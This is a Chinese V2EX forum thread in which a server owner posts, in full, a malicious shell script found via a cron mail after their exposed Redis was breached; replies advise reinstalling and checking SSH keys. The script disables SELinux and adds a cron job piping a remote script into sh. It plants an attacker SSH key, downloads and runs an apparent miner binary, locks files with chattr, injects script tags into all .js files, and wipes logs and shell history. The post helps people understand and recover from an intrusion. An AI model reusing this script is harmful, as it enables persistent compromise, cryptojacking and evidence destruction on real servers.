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337136897
V2EX  ›  问与答

当我开启我服务器万年没开的防火墙后提示你有一封新邮件，被入侵了？

  •   
  •   337136897 · 2018-11-27 10:40:11 +08:00 · 2565 次点击
    这是一个创建于 2187 天前的主题，其中的信息可能已经有所发展或是发生改变。

    如下的命令

    [root@azimiao ~]# systemctl start firewalld.service
You have new mail in /var/spool/mail/root

    ，然后进去 mail 这个文件夹，然后查看 root 的内容

    From [email protected]  Tue Nov 27 08:53:28 2018
Return-Path: <[email protected]>
X-Original-To: root
Delivered-To: [email protected]
Received: by azimiao.localdomain (Postfix, from userid 0)
        id A091C2409; Tue, 27 Nov 2018 08:53:28 +0800 (CST)
From: "(Cron Daemon)" <[email protected]>
To: [email protected]
Subject: Cron <root@azimiao> url -fsSL xxxxxxxxxxx/shz.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=50357>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <[email protected]>
Date: Tue, 27 Nov 2018 08:52:06 +0800 (CST)

sh: line 2: dev/null: No such file or directory
mv: cannot stat â<80><98>/usr/bin/wgetâ<80><99>: No such file or directory
mv: cannot stat â<80><98>/usr/bin/curlâ<80><99>: No such file or directory
ok
chattr: No such file or directory while trying to stat REDIS0008ú
chattr: No such file or directory while trying to stat redis-ver^E4.0.2ú
chattr: No such file or directory while trying to stat redis-bitsÀ@ú^EctimeÂTlô[ú^Hused-mem ô^Lú^Nrepl-stream-dbÀÿú^Grepl-id(da32fed1ca9684ea57cb075d10627ec992da4e86ú^Krepl-offsetÀú^Laof-preambleÀþû
chattr: No such file or directory while trying to stat ^Aa^Ab

    发现有个脚本，点击能下载，脚本内容如下

    #!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/gmbpr2
rtdir="/etc/gmbpr2"
oddir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
if [ -f "$oddir" ]
	then
		pkill zjgw
		chattr -i /etc/shz.sh
		rm -f /etc/shz.sh
		chattr -i /tmp/shz.sh
		rm -f /tmp/shz.sh
		chattr -i  /etc/gmbpr
		rm -f /etc/gmbpr
	else
		echo "ok"
fi
if [ -f "$rtdir" ]
	then
		echo "goto 1" >> /etc/gmbpr2
		chattr -i $cont
		if [ -f "$bbdir" ]
			then
				[[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL xxxxxxxxxx:43768/shz.sh | sh" >> ${crondir}
			else
				[[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL xxxxxxxxxx:43768/shz.sh | sh" >> ${crondir}
		fi
		mkdir /root/.ssh
		[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
		[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
		[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys
		[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
		ps -fe|grep zigw |grep -v grep
		if [ $? -ne 0 ]
			then
				cd /etc
				filesize=`ls -l zigw | awk '{ print $5 }'`
				file="/etc/zigw"
				if [ -f "$file" ]
					then
						if [ "$filesize" -ne "1467080" ]
							then
								chattr -i /etc/zigw
								rm -f zigw
								if [ -f "$bbdir" ]
								then
									curl --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/zigw > /etc/zigw
								elif [ -f "$bbdira" ]
								then
									url --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/zigw > /etc/zigw
								elif [ -f "$ccdir" ]
								then
									wget --timeout=10 --tries=10 -P /etc xxxxxxxxxx:43768/zigw
								elif [ -f "$ccdira" ]
								then
									get --timeout=10 --tries=10 -P /etc xxxxxxxxxx/zigw
								fi
						fi
					else
						if [ -f "$bbdir" ]
						then
							curl --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/zigw > /etc/zigw
						elif [ -f "$bbdira" ]
						then
							url --connect-timeout 10 --retry 10 xxxxxxxxxx > /etc/zigw
						elif [ -f "$ccdir" ]
						then
							wget --timeout=10 --tries=10 -P xxxxxxxxxx:43768/zigw
						elif [ -f "$ccdira" ]
						then
							get --timeout=10 --tries=10 -P /etc xxxxxxxxxx:43768/zigw
						fi
				fi
				chmod 777 zigw
				sleep 1s
				./zigw
			else
				echo "runing....."
		fi
		chmod 777 /etc/zigw
		chattr +i /etc/zigw
		chmod 777 /etc/shz.sh
		chattr +i /etc/shz.sh
		shdir='/etc/shz.sh'
		if [ -f "$shdir" ]
			then
				echo "exists shell"
			else
				if [ -f "$bbdir" ]
				then
					curl --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/shz.sh > /etc/shz.sh
				elif [ -f "$bbdira" ]
				then
					url --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/shz.sh > /etc/shz.sh
				elif [ -f "$ccdir" ]
				then
					wget --timeout=10 --tries=10 -P /etc xxxxxxxxxx:43768/shz.sh
				elif [ -f "$ccdira" ]
				then
					get --timeout=10 --tries=10 -P /etc xxxxxxxxxx:43768/shz.sh
				fi
				sh /etc/shz.sh
		fi
	else
		echo "goto 1" > /tmp/gmbpr2
		chattr -i $cont
		if [ -f "$bbdir" ]
			then
				[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL xxxxxxxxxx:43768/shz.sh | sh" >> ${crondir}
			else
				[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL xxxxxxxxxx:43768/shz.sh | sh" >> ${crondir}
		fi
		ps -fe|grep zigw |grep -v grep
		if [ $? -ne 0 ]
			then
				cd /tmp
				filesize=`ls -l zigw | awk '{ print $5 }'`
				file="/tmp/zigw"
				if [ -f "$file" ]
					then
						if [ "$filesize" -ne "1467080" ]
							then
								chattr -i /tmp/zigw
								rm -f zigw
								if [ -f "$bbdir" ]
								then
									curl --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/zigw > /tmp/zigw
								elif [ -f "$bbdira" ]
								then
									url --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/zigw > /tmp/zigw
								elif [ -f "$ccdir" ]
								then
									wget --timeout=10 --tries=10 -P /tmp xxxxxxxxxx:43768/zigw
								elif [ -f "$ccdira" ]
								then
									get --timeout=10 --tries=10 -P /tmp xxxxxxxxxx:43768/zigw
								fi
						fi
					else
						if [ -f "$bbdir" ]
						then
							curl --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/zigw > /tmp/zigw
						elif [ -f "$bbdira" ]
						then
							url --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/zigw > /tmp/zigw
						elif [ -f "$ccdir" ]
						then
							wget --timeout=10 --tries=10 -P /tmp xxxxxxxxxx:43768/zigw
						elif [ -f "$ccdira" ]
						then
							get --timeout=10 --tries=10 -P /tmp xxxxxxxxxx:43768/zigw
						fi
				fi
				chmod 777 zigw
				sleep 1s
				./zigw
			else
				echo "runing....."
		fi
		chmod 777 /tmp/zigw
		chattr +i /tmp/zigw
		chmod 777 /tmp/shz.sh
		chattr +i /tmp/shz.sh
		shdir='/tmp/shz.sh'
		if [ -f "$shdir" ]
			then
				echo "exists shell"
			else
				if [ -f "$bbdir" ]
				then
					curl --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/shz.sh > /tmp/shz.sh
				elif [ -f "$bbdira" ]
				then
					url --connect-timeout 10 --retry 10 xxxxxxxxxx:43768/shz.sh > /tmp/shz.sh
				elif [ -f "$ccdir" ]
				then
					wget --timeout=10 --tries=10 -P /tmp xxxxxxxxxx:43768/shz.sh
				elif [ -f "$ccdira" ]
				then
					get --timeout=10 --tries=10 -P /tmp xxxxxxxxxxm:43768/shz.sh
				fi 
				sh /tmp/shz.sh
		fi
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -A OUTPUT -p tcp --dport 14444 -j DROP
iptables-save
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"xxxxxxxxxxxxxxx"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
echo > /var/spool/mail/root

    (发贴提示不能使用短网址，莫名其妙的，然后我用 xxx 表示了)

    • 这是干嘛的，我有点慌...
  • zigw
  • then
  • xxxxxxxxxx
  • etc
    7 条回复  •  2018-11-27 12:25:34 +08:00
    337136897
        1
    337136897  
    OP
       2018-11-27 10:49:27 +08:00
    为什么没大佬回？ 自顶= =
    merlin852
        2
    merlin852  
       2018-11-27 10:59:09 +08:00
    肉鸡+1 , 格式化重装系统吧
    Greenm
        3
    Greenm  
       2018-11-27 11:09:41 +08:00
    看下你的 /root/.ssh/authorized_keys 有没有别人奇怪的公钥，有的话多半是别人写进来的。清理一下。

    另外再看下开放了哪些端口，搞清楚是怎么黑进来了，把洞堵上。
    337136897
        4
    337136897  
    OP
       2018-11-27 11:12:27 +08:00
    @Greenm 搞清除了，redis 密码 12345678 还开了远程...
    337136897
        5
    337136897  
    OP
       2018-11-27 11:15:17 +08:00
    @Greenm 我的 root 文件夹里面没有.ssh ???
    337136897
        6
    337136897  
    OP
       2018-11-27 11:17:02 +08:00
    @Greenm 进去了，当我没问- -
    boris1993
        7
    boris1993  
       2018-11-27 12:25:34 +08:00 via Android
    @337136897 #4 一切不需要 /不应该可以放到公网的东西，都绝对不要放到公网
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